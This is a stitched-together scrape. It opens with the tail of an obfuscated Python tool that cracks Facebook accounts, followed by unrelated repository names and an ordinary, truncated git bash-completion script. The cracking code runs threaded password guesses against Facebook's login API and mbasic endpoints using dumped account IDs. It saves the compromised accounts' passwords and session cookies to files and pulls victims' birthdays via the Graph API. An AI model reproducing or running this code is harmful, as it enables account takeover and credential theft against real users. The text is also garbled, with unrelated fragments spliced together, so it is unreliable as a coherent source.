'sig':'3f555f99fb61fcd7aa0c44f58f522ef6'} api = 'https://b-api.facebook.com/method/auth.login' response = r.get(api, params=param, headers=header) if 'session_key' in response.text and 'EAAA' in response.text: return {"status":"success","email":em,"pass":pas} elif 'www.facebook.com' in response.json()['error_msg']: return {"status":"cp","email":em,"pass":pas} else:return {"status":"error","email":em,"pass":pas} def log_mbasic(em,pas,hosts): ua = open('ugent.txt','r').read() r = requests.Session() r.headers.update({"Host":"mbasic.facebook.com","cache-control":"max-age=0","upgrade-insecure-requests":"1","user-agent":ua,"accept":"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8","accept-encoding":"gzip, deflate","accept-language":"id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7"}) p = r.get("https://mbasic.facebook.com/") b = r.post("https://mbasic.facebook.com/login.php", data={"email": em, "pass": pas, "login": "submit"}) _raw_cookies_ = (";").join([ "%s=%s" % (key, value) for key, value in r.cookies.get_dict().items() ]) if "c_user" in r.cookies.get_dict().keys(): return {"status":"success","email":em,"pass":pas,"cookies":_raw_cookies_} elif "checkpoint" in r.cookies.get_dict().keys(): return {"status":"cp","email":em,"pass":pas,"cookies":_raw_cookies_} else:return {"status":"error","email":em,"pass":pas} def koki(_cookies_): samp_ = _cookies_.split(';') _cooked_cookies_ = ('%s;%s;%s;%s;%s'%(samp_[2],samp_[4],samp_[0],samp_[3],samp_[1])) return _cooked_cookies_ ### Crack Proccess class _crack_dev_: def __init__(self,files): self._Ahmar_jan_Cici_ = '__My_Love__'+_oscylopsce_+_escylipsce_+_ascylapsci_+'__Forever__' self.ada = [] self.cp = [] self.ko = 0 _ahmar_cici_('\n%s[%s•%s] %sCrack With Default/Manual Password [d/m]'%(_U_,_P_,_U_,_P_)) while True: f = _cici_ahmar_('%s[%s•%s] %sChoose : '%(_U_,_P_,_U_,_P_)) if f=="": _ahmar_cici_('%s[%s!%s] %sWrong Input Bro'%(_M_,_P_,_M_,_P_)) time.sleep(2) _menu_dev_(self._Ahmar_jan_Cici_) elif f in ['m','M','2','02','002']: try: while True: try: self.apk = files self.fs = _ahmar_ahmar_(self.apk).read().splitlines() break except: _ahmar_cici_('%s[%s!%s] %sDump File Not Detected'%(_M_,_P_,_M_,_P_)) time.sleep(2) _menu_dev_(self._Ahmar_jan_Cici_) self.fl = [] for i in self.fs: try: self.fl.append({"id":i.split("•")[0]}) except:continue except Exception as e: _ahmar_cici_('%s[%s!%s] %sDump File not Detected'%(_M_,_P_,_M_,_P_)) time.sleep(2) _menu_dev_(self._Ahmar_jan_Cici_) _ahmar_cici_('%s[%s•%s] %sExample : Pakistan,786786,223344'%(_U_,_P_,_U_,_P_)) self.pwlist() break elif f in ['d','D','1','01','001']: try: while True: try: self.apk = files self.fs = _ahmar_ahmar_(self.apk).read().splitlines() break except: continue self.fl = [] for i in self.fs: try: self.fl.append({"id":i.split("•")[0],"pw":_pass_list_(i.split("•")[1])}) except:continue start_method() put = _cici_ahmar_('%s[%s•%s] %sChoose : '%(_U_,_P_,_U_,_P_)) _ahmar_cici_(''%()) if put in ['']: _ahmar_cici_('%s[%s!%s] %sWrong input Bro'%(_M_,_P_,_M_,_P_)) time.sleep(2) _menu_dev_(self._Ahmar_jan_Cici_) elif put in ['1','01','001','a']: started() ThreadPool(35).map(self.api,self.fl) os.remove(self.apk) _cici_cici_() elif put in ['2','02','002','b']: started() ThreadPool(35).map(self.mbasic,self.fl) os.remove(self.apk) _cici_cici_() else: _ahmar_cici_('%s[%s!%s] %sWrong input Bro'%(_M_,_P_,_M_,_P_)) time.sleep(2) _menu_dev_(self._Ahmar_jan_Cici_) except Exception as e: continue def pwlist(self): self.pw = _cici_ahmar_('%s[%s•%s] %s Enter Password : '%(_U_,_P_,_U_,_P_)).split(",") if len(self.pw) ==0: _ahmar_cici_('%s[%s!%s] %sWrong input BRO'%(_M_,_P_,_M_,_P_)) time.sleep(2) _menu_dev_(self._Ahmar_jan_Cici_) else: for i in self.fl: i.update({"pw":self.pw}) start_method() put = _cici_ahmar _('%s[%s•%s] %sChoose : '%(_U_,_P_,_U_,_P_)) _ahmar_cici_(''%()) if put in ['']: _ahmar_cici_('%s[%s!%s] %sWrong input BRO'%(_M_,_P_,_M_,_P_)) time.sleep(2) _menu_dev_(self._Ahmar_jan_Cici_) elif put in ['1','01','001','a']: started() ThreadPool(30).map(self.api,self.fl) os.remove(self.apk) _cici_cici_() elif put in ['2','02','002','b']: started() ThreadPool(30).map(self.mbasic,self.fl) os.remove(self.apk) _cici_cici_() else: _ahmar_cici_('%s[%s!%s] %sWrong Input'%(_M_,_P_,_M_,_P_)) time.sleep(2) _menu_dev_(self._Ahmar_jan_Cici_) def api(self,fl): try: for i in fl.get("pw"): log = log_api(fl.get("id"),i,"https://b-api.facebook.com") if log.get("status")=="cp": try: ke = _req_get_("https://graph.facebook.com/" + fl.get("id") + "?access_token=" + _ahmar_ahmar_("token.txt","r").read()) tt = json.loads(ke.text) ttl = tt["birthday"] m,d,y = ttl.split("/") m = bulan_ttl[m] _ahmar_cici_("\r%s[%sAHMAR-CP%s] %s • %s • %s %s %s "%(_U_,_P_,_U_,fl.get("id"),i,d,m,y)) self.cp.append("%s•%s•%s%s%s"%(fl.get("id"),i,d,m,y)) _ahmar_ahmar_("CP/%s.txt"%(tanggal),"a+").write("%s•%s•%s%s%s\n"%(fl.get("id"),i,d,m,y)) break except(KeyError, IOError): m = " " d = " " y = " " except:pass _ahmar_cici_("\r%s[%sAHMAR-CP%s] %s • %s "%(_U_,_P_,_U_,fl.get("id"),i)) self.cp.append("%s•%s"%(fl.get("id"),i)) _ahmar_ahmar_("CP/%s.txt"%(tanggal),"a+").write("%s•%s\n"%(fl.get("id"),i)) break elif log.get("status")=="success": _ahmar_cici_("\r%s[%sAHMAR-OK%s] %s • %s "%(_H_,_P_,_H_,fl.get("id"),i)) self.ada.append("%s•%s"%(fl.get("id"),i)) _ahmar_ahmar_("OK/%s.txt"%(tanggal),"a+").write("%s•%s\n"%(fl.get("id"),i)) break else:continue self.ko+=1 _ahmar_cici_("\r%s[%sCrack%s][%s%s/%s%s][%sOK:%s%s][%sCP:%s%s]%s"%(_U_,_P_,_U_,_P_,self.ko,len(self.fl),_U_,_P_,len(self.ada),_U_,_P_,len(self.cp),_U_,_P_), end=' ');sys.stdout.flush() except: self.api(fl) def mbasic(self,fl): try: for i in fl.get("pw"): log = log_mbasic(fl.get("id"),i,"https://mbasic.facebook.com") if log.get("status")=="cp": try: ke = _req_get_("https://graph.facebook.com/" + fl.get("id") + "?access_token=" + _ahmar_ahmar_("token.txt","r").read()) tt = json.loads(ke.text) ttl = tt["birthday"] m,d,y = ttl.split("/") m = bulan_ttl[m] _ahmar_cici_("\r%s[%sXSAN-CP%s] %s • %s • %s %s %s "%(_U_,_P_,_U_,fl.get("id"),i,d,m,y)) self.cp.append("%s•%s•%s%s%s"%(fl.get("id"),i,d,m,y)) _ahmar_ahmar_("CP/%s.txt"%(tanggal),"a+").write("%s•%s•%s%s%s\n"%(fl.get("id"),i,d,m,y)) break except(KeyError, IOError): m = " " d = " " y = " " except:pass _ahmar_cici_("\r%s[%sXSAN-CP%s] %s • %s "%(_U_,_P_,_U_,fl.get("id"),i)) self.cp.append("%s•%s"%(fl.get("id"),i)) _ahmar_ahmar_("CP/%s.txt"%(tanggal),"a+").write("%s•%s\n"%(fl.get("id"),i)) break elif log.get("status")=="success": _ahmar_cici_("\r%s[%sXSAN-OK%s] %s • %s • %s "%(_H_,_P_,_H_,fl.get("id"),i,koki(log.get("cookies")))) self.ada.append("%s•%s"%(fl.get("id"),i)) _ahmar_ahmar_("OK/%s.txt"%(tanggal),"a+").write("%s•%s\n"%(fl.get("id"),i)) break else:continue self.ko+=1 _ahmar_cici_("\r%s[%sCrack%s][%s%s/%s%s][%sOK:%s%s][%sCP:%s%s]%s"%(_U_,_P_,_U_,_P_,self.ko,len(self.fl),_U_,_P_,len(self.ada),_U_,_P_,len(self.cp),_U_,_P_), end=' ');sys.stdout.flush() except: self.mbasic(fl) ### Menu Mengecek Hasil Crack def _cek_result_dev_(): _clear_() _my_logo_() _Ahmar_jan_Cici_ = '__My_Love__'+_oscylopsce_+_escylipsce_+_ascylapsci_+'__forever__' _ahmar_cici_('%s[ %sCrack Results %s]'%(_U_,_P_,_U_)) _ahmar_cici_('\n%s[%s1%s] %sCheck Results OK'%(_U_,_P_,_U_,_P_)) _ahmar_cici_('%s[%s2%s] %sChel Results CP'%(_U_,_P_,_U_,_P_)) ch = _cici_ahmar_('%s[%s•%s] %sChoose : '%(_U_,_P_,_U_,_P_)) if ch in ['']: _ahmar_cici_('%s[%s!%s] %sWrong input'%(_M_,_P_,_M_,_P_)) time.sleep(2) _menu_dev_(_Ahmar_jan_Cici_) elif ch in ['1','01','001','a']: try: okl = os.listdir("OK") _ahmar_cici_('\n%s[%s Crack Results Stored in File OK %s]\n'%(_U_,_P_,_U_)) for file in okl: _ahmar_cici_('%s[%s•%s] %s%s'%(_U_,_P_,_U_,_P_,file)) _ahmar_cici_('') files = _cici_ahmar_('%s[%s•%s] %sINPUT File Name : '%(_U_,_P_,_U_,_P_)) _ahmar_cici_('') if files == "": _ahmar_cici_('%s[%s!%s] %sWrong Input Bro'%(_M_,_P_,_M_,_P_)) time.sleep(2) _menu_dev_(_Ahmar_jan_Cici_) os.system('cat OK/%s'%(files)) ppp = _ahmar_ahmar_("OK/%s"%(files)).read().splitlines() del1 = ("%s"%(files)).replace("-", " ").replace(".txt", "") _ahmae_cici_('\n%s[%s•%s] %sTotal Crack Result Date %s Is %s Account'%(_U_,_P_,_U_,_P_,del1,len(ppp))) except: _ahmar_cici_('%s[%s No Results Found %s]'%(_M_,_P_,_M_)) elif ch in ['2','02','002','b']: try: cpl = os.listdir("CP") _ahmar_cici_('\n%s[%s Crack Results Stored in CP Files %s]\n'%(_U_,_P_,_U_)) for file in cpl: _ahmar_cici_('%s[%s•%s] %s%s'%(_U_,_P_,_U_,_P_,file)) _ahmar_cici_('') files = _cici_ahmar_('%s[%s•%s] %sInput File Name : '%(_U_,_P_,_U_,_P_)) _ahmar_cici_('') if files == "": _ahmar_cici_('%s[%s!%s] %sWrong input'%(_M_,_P_,_M_,_P_)) time.sleep(2) _menu_dev_(_Ahmar_jan_Cici_) os.system('cat CP/%s'%(files)) ppp = _ahmar_ahmar_("CP/%s"%(files)).read().splitlines() del1 = ("%s"%(files)).replace("-", " ").replace(".txt", "") _ahmar_cici_('\n%s[%s•%s] %sTotal Crack Result Date %s Is %s Account'%(_U_,_P_,_U_,_P_,del1,len(ppp))) except: _ahmar_cici_('%s[%s No Results Found %s]'%(_M_,_P_,_M_)) else: _ahmar_cici_('%s[%s!%s] %sWeong Input'%(_M_,_P_,_M_,_P_)) time.sleep(2) _menu_dev_(_Ahmar_jan_Cici_) _cici_ahmar_('\n%s[ %sReturn %s]%s'%(_U_,_P_,_U_,_P_)) _menu_dev_(_Ahmar_jan_Cici_) ### Mau Recode Lu Ya? def _check_recode_(_oscylopsce_,_ascylapsci_,_escylipsce_): _recode_ = '__My_Love__'+_oscylopsce_+_escylipsce_+_ascylapsci_+'__Forever__' if _uscylupsci_ not in _recode_:_ahmar_cici_('%s[%s!%s] %sHey, do you want to recode?'%(_M_,_P_,_M_,_P_)) else:return _menu_dev_(_recode_) ### Menu User Agent def _default_ua_(_Cici_Cantik_Banget_): ua = ua_xiaomi try: ugent = _ahmar_ahmar_('ugent.txt','w') ugent.write(ua) ugent.close() except (KeyError,IOError): _login_dev_(_Cici_Cantik_Banget_) def _ugen_dev_(_Ahmar_jan_Cici_): _var_ugen_(_Ahmar_jan_Cici_) pmu = _cici_ahmar_('%s[%s•%s] %sChoose : '%(_U_,_P_,_U_,_P_)) _ahmar_cici_('') if pmu in[""]: _ahmar_cici_('%s[%s!%s] %sWrong input'%(_M_,_P_,_M_,_P_)) time.sleep(2) _menu_dev_(_Ahmar_jan_Cici_) elif pmu in ['1','01','001','a']: os.system('xdg-_ahmar_ahmar_ https://www.google.com/search?q=My+User+Agent&oq=My+User+Agent&aqs=chrome..69i57j0l3j0i22i30l6.4674j0j1&sourceid=chrome&ie=UTF-8') _cici_ahmar_('%s[ %sRetrun %s]%s'%(_U_,_P_,_U_,_P_)) _menu_dev_(_Ahmar_jan_Cici_) elif pmu in ['2','02','002','b']: _del_() ua = _cici_ahmar_("%s[%s•%s] %sInput User agent : \n\n"%(_U_,_P_,_U_,_P_)) try: ugent = _ahmar_ahmar_('ugent.txt','w') ugent.write(ua) ugent.close() _ahmar_cici_("\n%s[ %sSuccessfully Changed User Agent %s]"%(_U_,_P_,_U_)) _cici_ahmar_('\n%s[ %sEnter Click %s]%s'%(_U_,_P_,_U_,_P_)) _menu_dev_(_Ahmar_jan_Cici_) except (KeyError,IOError): _ahmar_cici_("\n%s[ %sFailed to Change User Agent %s]"%(_M_,_P_,_M_)) _cici_ahmar_('\n%s[ %sRetrun %s]%s'%(_M_,_P_,_M_,_P_)) _menu_dev_(_Ahmar_jan_Cici_) elif pmu in ['3','03','003','c']: _ugen_hp_(_Ahmar_jan_Cici_) elif pmu in ['4','04','004','d']: _del_() _ahmar_cici_("%s[ %sUser Agent Deleted Successfully %s]"%(_U_,_P_,_U_)) _cici_ahmar_('\n%s[ %sRetrun %s]%s'%(_U_,_P_,_U_,_P_)) _menu_dev_(_Ahmar_jan_Cici_) elif pmu in ['5','05','005','e']: try: ungser = _ahmar_ahmar_('ugent.txt', 'r').read() except (KeyError,IOError): ungser = 'Not found' _ahmar_cici_("%s[%s•%s] %sYour User Agent : \n\n%s%s"%(_U_,_P_,_U_,_P_,_U_,ungser)) _ahmar_cici_("\n%s[ %sThis is your current user agent %s]"%(_U_,_P_,_U_)) _cici_ahmar_('\n%s[ %sRetrun %s]%s'%(_U_,_P_,_U_,_P_)) _menu_dev_(_Ahmar_jan_Cici_) elif pmu in ['0','00','000','f']: _menu_dev_(_Ahmar_jan_Cici_) else: _ahmar_cici_('%s[%s!%s] %sWrong Input BRO'%(_M_,_P_,_M_,_P_)) time.sleep(2) _menu_dev_(_Ahmar_jan_Cici_) def _ugen_hp_(_Ahmar_jan_Cici_): _del_() _shmar_cici_('%s[%s1%s] %sXiaomi'%(_U_,_P_,_U_,_P_)) _ahmar_cici_('%s[%s2%s] %sNokia'%(_U_,_P_,_U_,_P_)) _ahmar_cici_('%s[%s3%s] %sAsus'%(_U_,_P_,_U_,_P_)) _ahmar_cici_('%s[%s4%s] %sHuawei'%(_U_,_P_,_U_,_P_)) _ahmar_cici_('%s[%s5%s] %sVivo'%(_U_,_P_,_U_,_P_)) _ahmar_cici_('%s[%s6%s] %sOppo'%(_U_,_P_,_U_,_P_)) _ahmar_cici_('%s[%s7%s] %sSamsung'%(_U_,_P_,_U_,_P_)) _ahmar_cici_('%s[%s8%s] %sWindows'%(_U_,_P_,_U_,_P_)) pc = _cici_ahmar_('%s[%s•%s] %sChoose : '%(_U_,_P_,_U_,_P_)) _dapunta_cici_('') if pc in['']: _dapunta_cici_('%s[%s!%s] %sWrong Input Bro'%(_M_,_P_,_M_,_P_)) time.sleep(2) _menu_dev_(_Ahmar_jan_Cici_) elif pc in ['1','01']: ugent = _ahmar_ahmar_('ugent.txt','w');ugent.write(ua_xiaomi);ugent.close() elif pc in ['2','02']: ugent = _ahmar_ahmar_('ugent.txt','w');ugent.write(ua_nokia);ugent.close() elif pc in ['3','03']: ugent = _ahmar_ahmar_('ugent.txt','w');ugent.write(ua_asus);ugent.close() elif pc in ['4','04']: ugent = _ahmar_ahmar_('ugent.txt','w');ugent.write(ua_huawei);ugent.close() elif pc in ['5','05']: ugent = _ahmar_ahmar_('ugent.txt','w');ugent.write(ua_vivo);ugent.close() elif pc in ['6','06']: ugent = _ahmar_ahmar_('ugent.txt','w');ugent.write(ua_oppo);ugent.close() elif pc in ['7','07']: ugent = _ahmar_ahmar_('ugent.txt','w');ugent.write(ua_samsung);ugent.close() elif pc in ['8','08']: ugent = _ahmar_ahmar_('ugent.txt','w');ugent.write(ua_windows);ugent.close() else: _ahmar_cici_('%s[%s!%s] %sWrong input'%(_M_,_P_,_M_,_P_)) time.sleep(2) _menu_dev_(_Ahmar_jan_Cici_) _ahmar_cici_("%s[ %sSuccessfully Changed User Agent %s]"%(_U_,_P_,_U_)) _cici_ahmar_('\n%s[ %sEnter Click %s]%s'%(_U_,_P_,_U_,_P_)) _menu_dev_(_Ahmar_jan_Cici_) ### Tampilan User Agent def _var_ugen_(_Ahmar_jan_Cici_): _dapunta_cici_("%s[%s1%s] %sBest User Agent"%(_U_,_P_,_U_,_P_)) _Ahmat_cici_("%s[%s2%s] %sChange User Agent %s[%sManual%s]"%(_U_,_P_,_U_,_P_,_U_,_P_,_U_)) _Ahmar_cici_("%s[%s3%s] %sChange User agent %s[%sAdjust HP%s]"%(_U_,_P_,_U_,_P_,_U_,_P_,_U_)) _Ahmar_cici_("%s[%s4%s] %sDelete User Agent"%(_U_,_P_,_U_,_P_)) _Ahmar_cici_("%s[%s5%s] %sChek User Agent"%(_U_,_P_,_U_,_P_)) _Ahmar_cici_("%s[%s0%s] %sRetrun"%(_U_,_P_,_U_,_P_)) ### Tampilan Metode def start_method(): _Ahmar_cici_('\n%s[%s1%s] %sMetode Api'%(_U_,_P_,_U_,_P_)) _Ahmar_cici_('%s[%s2%s] %sMetode Mbasic'%(_U_,_P_,_U_,_P_)) ### Tampilan Mulai Crack def started(): _Ahmar_cici_('%s[%s•%s] %sCrack is Running...'%(_U_,_P_,_U_,_P_)) _Ahmar_cici_('%s[%s•%s] %sAccount [OK] Saved To OK/%s.txt'%(_U_,_P_,_U_,_P_,tanggal)) _Ahmar_cici_('%s[%s•%s] %sAccount [CP] Saved To CP/%s.txt'%(_U_,_P_,_U_,_P_,tanggal)) _Ahmar_cici_('%s[%s•%s] %sUse Flight Mode [5 Seconds Only] Every 5 Minutes\n'%(_U_,_P_,_U_,_P_)) ### Start if __name__=='__main__': os.system('git pull') _clear_() _folder_() _check_recode_(_oscylopsce_,_ascylapsci_,_escylipsce_) # _Ahmar_cici_('%s[%s•%s] %s'%(_U_,_P_,_U_,_P_)) # _Ahmar_cici_('%s[%s!%s] %s'%(_M_,_P_,_M_,_P_))
npm / Create Ossinit module used for OSS projects by the npm CLI team
questionmark1122 / Cnn10#!bash # # bash completion support for core Git. # # Copyright (C) 2006,2007 Shawn O. Pearce <spearce@spearce.org> # Conceptually based on gitcompletion (http://gitweb.hawaga.org.uk/). # Distributed under the GNU General Public License, version 2.0. # # The contained completion routines provide support for completing: # # *) local and remote branch names # *) local and remote tag names # *) .git/remotes file names # *) git 'subcommands' # *) tree paths within 'ref:path/to/file' expressions # *) common --long-options # # To use these routines: # # 1) Copy this file to somewhere (e.g. ~/.git-completion.sh). # 2) Added the following line to your .bashrc: # source ~/.git-completion.sh # # 3) Consider changing your PS1 to also show the current branch: # PS1='[\u@\h \W$(__git_ps1 " (%s)")]\$ ' # # The argument to __git_ps1 will be displayed only if you # are currently in a git repository. The %s token will be # the name of the current branch. # # In addition, if you set GIT_PS1_SHOWDIRTYSTATE to a nonempty # value, unstaged (*) and staged (+) changes will be shown next # to the branch name. You can configure this per-repository # with the bash.showDirtyState variable, which defaults to true # once GIT_PS1_SHOWDIRTYSTATE is enabled. # # You can also see if currently something is stashed, by setting # GIT_PS1_SHOWSTASHSTATE to a nonempty value. If something is stashed, # then a '$' will be shown next to the branch name. # # If you would like to see if there're untracked files, then you can # set GIT_PS1_SHOWUNTRACKEDFILES to a nonempty value. If there're # untracked files, then a '%' will be shown next to the branch name. # # If you would like to see the difference between HEAD and its # upstream, set GIT_PS1_SHOWUPSTREAM="auto". A "<" indicates # you are behind, ">" indicates you are ahead, and "<>" # indicates you have diverged. You can further control # behaviour by setting GIT_PS1_SHOWUPSTREAM to a space-separated # list of values: # verbose show number of commits ahead/behind (+/-) upstream # legacy don't use the '--count' option available in recent # versions of git-rev-list # git always compare HEAD to @{upstream} # svn always compare HEAD to your SVN upstream # By default, __git_ps1 will compare HEAD to your SVN upstream # if it can find one, or @{upstream} otherwise. Once you have # set GIT_PS1_SHOWUPSTREAM, you can override it on a # per-repository basis by setting the bash.showUpstream config # variable. # # # To submit patches: # # *) Read Documentation/SubmittingPatches # *) Send all patches to the current maintainer: # # "Shawn O. Pearce" <spearce@spearce.org> # # *) Always CC the Git mailing list: # # git@vger.kernel.org # case "$COMP_WORDBREAKS" in *:*) : great ;; *) COMP_WORDBREAKS="$COMP_WORDBREAKS:" esac # __gitdir accepts 0 or 1 arguments (i.e., location) # returns location of .git repo __gitdir () { if [ -z "${1-}" ]; then if [ -n "${__git_dir-}" ]; then echo "$__git_dir" elif [ -d .git ]; then echo .git else git rev-parse --git-dir 2>/dev/null fi elif [ -d "$1/.git" ]; then echo "$1/.git" else echo "$1" fi } # stores the divergence from upstream in $p # used by GIT_PS1_SHOWUPSTREAM __git_ps1_show_upstream () { local key value local svn_remote=() svn_url_pattern count n local upstream=git legacy="" verbose="" # get some config options from git-config while read key value; do case "$key" in bash.showupstream) GIT_PS1_SHOWUPSTREAM="$value" if [[ -z "${GIT_PS1_SHOWUPSTREAM}" ]]; then p="" return fi ;; svn-remote.*.url) svn_remote[ $((${#svn_remote[@]} + 1)) ]="$value" svn_url_pattern+="\\|$value" upstream=svn+git # default upstream is SVN if available, else git ;; esac done < <(git config -z --get-regexp '^(svn-remote\..*\.url|bash\.showupstream)$' 2>/dev/null | tr '\0\n' '\n ') # parse configuration values for option in ${GIT_PS1_SHOWUPSTREAM}; do case "$option" in git|svn) upstream="$option" ;; verbose) verbose=1 ;; legacy) legacy=1 ;; esac done # Find our upstream case "$upstream" in git) upstream="@{upstream}" ;; svn*) # get the upstream from the "git-svn-id: ..." in a commit message # (git-svn uses essentially the same procedure internally) local svn_upstream=($(git log --first-parent -1 \ --grep="^git-svn-id: \(${svn_url_pattern:2}\)" 2>/dev/null)) if [[ 0 -ne ${#svn_upstream[@]} ]]; then svn_upstream=${svn_upstream[ ${#svn_upstream[@]} - 2 ]} svn_upstream=${svn_upstream%@*} for ((n=1; "$n" <= "${#svn_remote[@]}"; ++n)); do svn_upstream=${svn_upstream#${svn_remote[$n]}} done if [[ -z "$svn_upstream" ]]; then # default branch name for checkouts with no layout: upstream=${GIT_SVN_ID:-git-svn} else upstream=${svn_upstream#/} fi elif [[ "svn+git" = "$upstream" ]]; then upstream="@{upstream}" fi ;; esac # Find how many commits we are ahead/behind our upstream if [[ -z "$legacy" ]]; then count="$(git rev-list --count --left-right \ "$upstream"...HEAD 2>/dev/null)" else # produce equivalent output to --count for older versions of git local commits if commits="$(git rev-list --left-right "$upstream"...HEAD 2>/dev/null)" then local commit behind=0 ahead=0 for commit in $commits do case "$commit" in "<"*) let ++behind ;; *) let ++ahead ;; esac done count="$behind $ahead" else count="" fi fi # calculate the result if [[ -z "$verbose" ]]; then case "$count" in "") # no upstream p="" ;; "0 0") # equal to upstream p="=" ;; "0 "*) # ahead of upstream p=">" ;; *" 0") # behind upstream p="<" ;; *) # diverged from upstream p="<>" ;; esac else case "$count" in "") # no upstream p="" ;; "0 0") # equal to upstream p=" u=" ;; "0 "*) # ahead of upstream p=" u+${count#0 }" ;; *" 0") # behind upstream p=" u-${count% 0}" ;; *) # diverged from upstream p=" u+${count#* }-${count% *}" ;; esac fi } # __git_ps1 accepts 0 or 1 arguments (i.e., format string) # returns text to add to bash PS1 prompt (includes branch name) __git_ps1 () { local g="$(__gitdir)" if [ -n "$g" ]; then local r="" local b="" if [ -f "$g/rebase-merge/interactive" ]; then r="|REBASE-i" b="$(cat "$g/rebase-merge/head-name")" elif [ -d "$g/rebase-merge" ]; then r="|REBASE-m" b="$(cat "$g/rebase-merge/head-name")" else if [ -d "$g/rebase-apply" ]; then if [ -f "$g/rebase-apply/rebasing" ]; then r="|REBASE" elif [ -f "$g/rebase-apply/applying" ]; then r="|AM" else r="|AM/REBASE" fi elif [ -f "$g/MERGE_HEAD" ]; then r="|MERGING" elif [ -f "$g/BISECT_LOG" ]; then r="|BISECTING" fi b="$(git symbolic-ref HEAD 2>/dev/null)" || { b="$( case "${GIT_PS1_DESCRIBE_STYLE-}" in (contains) git describe --contains HEAD ;; (branch) git describe --contains --all HEAD ;; (describe) git describe HEAD ;; (* | default) git describe --exact-match HEAD ;; esac 2>/dev/null)" || b="$(cut -c1-7 "$g/HEAD" 2>/dev/null)..." || b="unknown" b="($b)" } fi local w="" local i="" local s="" local u="" local c="" local p="" if [ "true" = "$(git rev-parse --is-inside-git-dir 2>/dev/null)" ]; then if [ "true" = "$(git rev-parse --is-bare-repository 2>/dev/null)" ]; then c="BARE:" else b="GIT_DIR!" fi elif [ "true" = "$(git rev-parse --is-inside-work-tree 2>/dev/null)" ]; then if [ -n "${GIT_PS1_SHOWDIRTYSTATE-}" ]; then if [ "$(git config --bool bash.showDirtyState)" != "false" ]; then git diff --no-ext-diff --quiet --exit-code || w="*" if git rev-parse --quiet --verify HEAD >/dev/null; then git diff-index --cached --quiet HEAD -- || i="+" else i="#" fi fi fi if [ -n "${GIT_PS1_SHOWSTASHSTATE-}" ]; then git rev-parse --verify refs/stash >/dev/null 2>&1 && s="$" fi if [ -n "${GIT_PS1_SHOWUNTRACKEDFILES-}" ]; then if [ -n "$(git ls-files --others --exclude-standard)" ]; then u="%" fi fi if [ -n "${GIT_PS1_SHOWUPSTREAM-}" ]; then __git_ps1_show_upstream fi fi local f="$w$i$s$u" printf "${1:- (%s)}" "$c${b##refs/heads/}${f:+ $f}$r$p" fi } # __gitcomp_1 requires 2 arguments __gitcomp_1 () { local c IFS=' '$'\t'$'\n' for c in $1; do case "$c$2" in --*=*) printf %s$'\n' "$c$2" ;; *.) printf %s$'\n' "$c$2" ;; *) printf %s$'\n' "$c$2 " ;; esac done } # __gitcomp accepts 1, 2, 3, or 4 arguments # generates completion reply with compgen __gitcomp () { local cur="${COMP_WORDS[COMP_CWORD]}" if [ $# -gt 2 ]; then cur="$3" fi case "$cur" in --*=) COMPREPLY=() ;; *) local IFS=$'\n' COMPREPLY=($(compgen -P "${2-}" \ -W "$(__gitcomp_1 "${1-}" "${4-}")" \ -- "$cur")) ;; esac } # __git_heads accepts 0 or 1 arguments (to pass to __gitdir) __git_heads () { local cmd i is_hash=y dir="$(__gitdir "${1-}")" if [ -d "$dir" ]; then git --git-dir="$dir" for-each-ref --format='%(refname:short)' \ refs/heads return fi for i in $(git ls-remote "${1-}" 2>/dev/null); do case "$is_hash,$i" in y,*) is_hash=n ;; n,*^{}) is_hash=y ;; n,refs/heads/*) is_hash=y; echo "${i#refs/heads/}" ;; n,*) is_hash=y; echo "$i" ;; esac done } # __git_tags accepts 0 or 1 arguments (to pass to __gitdir) __git_tags () { local cmd i is_hash=y dir="$(__gitdir "${1-}")" if [ -d "$dir" ]; then git --git-dir="$dir" for-each-ref --format='%(refname:short)' \ refs/tags return fi for i in $(git ls-remote "${1-}" 2>/dev/null); do case "$is_hash,$i" in y,*) is_hash=n ;; n,*^{}) is_hash=y ;; n,refs/tags/*) is_hash=y; echo "${i#refs/tags/}" ;; n,*) is_hash=y; echo "$i" ;; esac done } # __git_refs accepts 0 or 1 arguments (to pass to __gitdir) __git_refs () { local i is_hash=y dir="$(__gitdir "${1-}")" local cur="${COMP_WORDS[COMP_CWORD]}" format refs if [ -d "$dir" ]; then case "$cur" in refs|refs/*) format="refname" refs="${cur%/*}" ;; *) for i in HEAD FETCH_HEAD ORIG_HEAD MERGE_HEAD; do if [ -e "$dir/$i" ]; then echo $i; fi done format="refname:short" refs="refs/tags refs/heads refs/remotes" ;; esac git --git-dir="$dir" for-each-ref --format="%($format)" \ $refs return fi for i in $(git ls-remote "$dir" 2>/dev/null); do case "$is_hash,$i" in y,*) is_hash=n ;; n,*^{}) is_hash=y ;; n,refs/tags/*) is_hash=y; echo "${i#refs/tags/}" ;; n,refs/heads/*) is_hash=y; echo "${i#refs/heads/}" ;; n,refs/remotes/*) is_hash=y; echo "${i#refs/remotes/}" ;; n,*) is_hash=y; echo "$i" ;; esac done } # __git_refs2 requires 1 argument (to pass to __git_refs) __git_refs2 () { local i for i in $(__git_refs "$1"); do echo "$i:$i" done } # __git_refs_remotes requires 1 argument (to pass to ls-remote) __git_refs_remotes () { local cmd i is_hash=y for i in $(git ls-remote "$1" 2>/dev/null); do case "$is_hash,$i" in n,refs/heads/*) is_hash=y echo "$i:refs/remotes/$1/${i#refs/heads/}" ;; y,*) is_hash=n ;; n,*^{}) is_hash=y ;; n,refs/tags/*) is_hash=y;; n,*) is_hash=y; ;; esac done } __git_remotes () { local i ngoff IFS=$'\n' d="$(__gitdir)" shopt -q nullglob || ngoff=1 shopt -s nullglob for i in "$d/remotes"/*; do echo ${i#$d/remotes/} done [ "$ngoff" ] && shopt -u nullglob for i in $(git --git-dir="$d" config --get-regexp 'remote\..*\.url' 2>/dev/null); do i="${i#remote.}" echo "${i/.url*/}" done } __git_list_merge_strategies () { git merge -s help 2>&1 | sed -n -e '/[Aa]vailable strategies are: /,/^$/{ s/\.$// s/.*:// s/^[ ]*// s/[ ]*$// p }' } __git_merge_strategies= # 'git merge -s help' (and thus detection of the merge strategy # list) fails, unfortunately, if run outside of any git working # tree. __git_merge_strategies is set to the empty string in # that case, and the detection will be repeated the next time it # is needed. __git_compute_merge_strategies () { : ${__git_merge_strategies:=$(__git_list_merge_strategies)} } __git_complete_file () { local pfx ls ref cur="${COMP_WORDS[COMP_CWORD]}" case "$cur" in ?*:*) ref="${cur%%:*}" cur="${cur#*:}" case "$cur" in ?*/*) pfx="${cur%/*}" cur="${cur##*/}" ls="$ref:$pfx" pfx="$pfx/" ;; *) 